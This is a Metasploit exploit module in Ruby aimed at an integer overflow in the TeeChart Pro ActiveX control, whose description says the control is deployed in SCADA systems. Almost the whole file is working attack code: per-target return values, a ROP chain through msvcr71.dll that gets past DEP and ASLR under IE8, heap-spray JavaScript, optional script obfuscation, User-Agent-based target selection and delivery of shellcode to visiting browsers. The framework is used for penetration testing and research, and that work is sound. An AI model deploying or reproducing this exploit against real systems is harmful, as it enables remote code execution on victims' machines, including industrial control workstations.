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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super( update_info(info,
'Name' => 'TeeChart Professional ActiveX Control Trusted Integer Dereference',
'Description' => %q{
This module exploits an integer overflow in TeeChart Pro ActiveX control. When
sending an overly large/negative integer value to the AddSeries() property of
TeeChart2010.ocx, the code will perform an arithmetic operation that wraps the
value and is later directly trusted and called upon.
This module has been designed to bypass DEP only under IE8 with Java support. Multiple
versions (including the latest version) are affected by this vulnerability that date
back to as far as 2001.
The following controls are vulnerable:
TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);
TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);
TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);
TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);
TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).
The controls are deployed under several SCADA based systems including:
Unitronics OPC server v1.3;
BACnet Operator Workstation Version 1.0.76
},
'License' => MSF_LICENSE,
'Author' =>
[
# twitter.com/net__ninja
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery/msf module
'sinn3r', #Auto target, obfuscation, lots of testing
],
'References' =>
[
#[ 'CVE', '?' ],
[ 'OSVDB', '74446'],
[ 'URL', 'http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
# For exploitation we need to calculate a value for EDX:
# <target address> - EAX / 4 = address to place in edx via signed integar
# 0x0c0c0c0c - 0x023FB8F4 = 0x09CC5318 / 4 = 0x027314C6 = decimal: 41096390
[
'Windows XP SP0-SP3 (IE6/IE7)',
{
'Ret' => 0x027314C6
}
],
# Windows XP target + IE8 + JAVA = ASLR/DEP Bypass
# 0x09442020- 0x0326B8F4 = 61D672C/4 = 18759CB
[
'Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)',
{
'Ret' => 0x014E59CB,
# 0x09442020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x09441FF8
# get back to the 2nd of rop.
'Pivot' => 0x09441FF8
}
],
# Windows 7 target + IE8 + JAVA = ASLR/DEP Bypass
# 0x16672020 - 0x040AB8F4/4 = 0x049719CB
[
'Windows 7 + JAVA + DEP bypass (IE8)',
{
'Ret' => 0x049719CB,
# 0x16672020-0x2c+4 (compensate for CALL [EAX+2C] + 1st gadget) = 0x16671FF8
# get back to the 2nd of rop.
'Pivot' => 0x16671FF8
}
]
],
'DisclosureDate' => 'Aug 11 2011',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])
])
end
def junk
return rand_text_alpha(4).unpack("L")[0].to_i
end
def on_request_uri(cli, request)
#Set target manually or automatically
my_target = target
if my_target.name == 'Automatic'
agent = request.headers['User-Agent']
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/
my_target = targets[2]
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/
my_target = targets[3]
end
end
vprint_status("Target selected: #{my_target.name}")
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# align stack
retn = Rex::Text.to_unescape([0x7C3410C4].pack('V*'))
pop_pop_retn = Rex::Text.to_unescape([0x7C3410C2].pack('V*'))
# shellcode
sc = Rex::Text.to_unescape(p.encoded)
# Randomize object name
obj_name = rand_text_alpha(rand(100) + 1)
main_sym = 'main' #main function name
randnop = rand_text_alpha(rand(100) + 1)
if my_target.name =~ /IE6/ or my_target.name =~ /IE7/
js = <<-EOS
var sc = unescape('#{sc}');
var #{randnop} = "%u0c0c%u0c0c";
var nops = unescape(#{randnop});
var offset = 20;
var s = offset + sc.length;
while(nops.length < s) {
nops += nops;
}
var chunk1 = nops.substring(0, s);
var chunk2 = nops.substring(0, nops.length - s);
while((chunk2.length + s) < 0x50000) {
chunk2 = chunk2 + chunk2 + chunk1;
}
var blocks = new Array();
for(var counter=0; counter<200; counter++){
blocks[counter] = chunk2 + sc;
}
function main()
{
#{obj_name}.AddSeries(#{my_target.ret});
}
EOS
end
#http://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf
if my_target.name =~ /IE8/
# thanks to corelanc0d3r & mona.py :^) for the universal aslr/dep bypass (msvcr71.dll)
# https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/
rop_gadgets = [
my_target['Pivot'],# Pivot back EAX for ESP control
0x7C342643, # XCHG EAX,ESP; POP EDI; ; ADD BYTE PTR DS:[EAX],AL; POP ECX; RETN
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # Make EAX readable
0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
0x41414141, # EBP (filler)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x7c37a140, # <- *&VirtualProtect()
0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
0x7c346c0b, # Slide, so next gadget would write to correct stack location
0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
0x41414141, # EDI (filler)
0x41414141, # will be patched at runtime (VP), then picked up into ESI
0x41414141, # EBX (filler)
0x7c376402, # POP EBP # RETN (msvcr71.dll)
0x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0xfffffdff, # size 0x00000201 -> ebx, modify if needed
0x7c351e05, # NEG EAX # RETN (MSVCR71.dll)
0x7c354901, # POP EBX # RETN (MSVCR71.dll)
0xffffffff, # pop value into ebx
0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll)
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
0x7c34d201, # POP ECX # RETN (MSVCR71.dll)
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll)
0x7c34b8d8, # ROP NOP (-> edi)
0x7c344f87, # POP EDX # RETN (MSVCR71.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll)
0x7c346c0a, # POP EAX # RETN (MSVCR71.dll)
0x90909090, # NOPS (-> eax)
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
].pack('V*')
rop = Rex::Text.to_unescape(rop_gadgets)
custom_js = <<-EOF
function heapspray(){
var heapLib = new heapLib.ie(0x20000);
var payload = unescape('#{rop}');
payload += unescape('#{sc}');
while(payload.length <= 0xffc) payload += unescape('#{retn}')
while(payload.length < 0x1000) payload += unescape('#{pop_pop_retn}')
var data = payload;
while(data.length < 0x40000) data += data;
var block = data.substring(2, 0x40000 - 0x21);
for(var i = 0; i < 0x400; i++) {
heapLib.alloc(block);
}
}
function main(){
heapspray();
#{obj_name}.AddSeries(#{my_target.ret});
}
EOF
js = heaplib(custom_js)
#JS obfuscation on demand
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
main_sym = js.sym('main')
end
end
content = <<-EOF
<object classid='clsid:FCB4B50A-E3F1-4174-BD18-54C3B3287258' id='#{obj_name}' ></object>
<script language='JavaScript' defer>
#{js}
</script>
<body onload="#{main_sym}();">
<body>
</html>
EOF
print_status("Sending #{self.name}")
#Remove the extra tabs from content
content = content.gsub(/^ {4}/, '')
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end